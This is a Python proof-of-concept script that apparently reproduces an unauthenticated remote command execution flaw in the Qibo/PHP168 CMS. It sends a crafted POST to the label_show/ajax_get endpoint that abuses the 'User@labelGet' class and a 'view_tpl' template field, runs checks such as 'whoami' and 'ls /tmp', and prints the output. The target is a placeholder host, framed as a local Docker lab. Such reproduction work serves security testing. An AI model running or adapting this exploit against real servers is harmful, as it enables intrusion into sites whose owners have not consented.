#!/usr/bin/env python3
"""Reproduce the guest-scope Qibo/PHP168 command checks against local Docker."""

import json
import urllib.parse
import urllib.request
from typing import Iterable

BASE = "http://example/index.php?s=index/label_show/ajax_get"
TIMEOUT = 20

CHECKS = (
    (
        "ls /tmp",
        "whoami",
    ),
)


def post_check(index: int, template: str) -> str:
    tag = f"guest_repro_{index}"
    url = f"{BASE}&{urllib.parse.urlencode({'tagname': tag, 'pagename': tag})}"
    body = urllib.parse.urlencode(
        [
            ("union", "class"),
            ("class", r"app\common\model\User@labelGet"),
            ("rows", "1"),
            ("view_tpl?", template),
            ("page", "1"),
        ]
    ).encode()
    request = urllib.request.Request(
        url,
        data=body,
        headers={"Content-Type": "application/x-www-form-urlencoded"},
        method="POST",
    )
    with urllib.request.urlopen(request, timeout=TIMEOUT) as response:
        payload = json.loads(response.read())
    return payload["data"]


def run(checks: Iterable[tuple[str, str]]) -> None:
    for index, (command, template) in enumerate(checks):
        data = post_check(index, template)
        print(f"$ {command}")
        print(data, end="" if data.endswith("\n") else "\n")


if __name__ == "__main__":
    run(CHECKS)
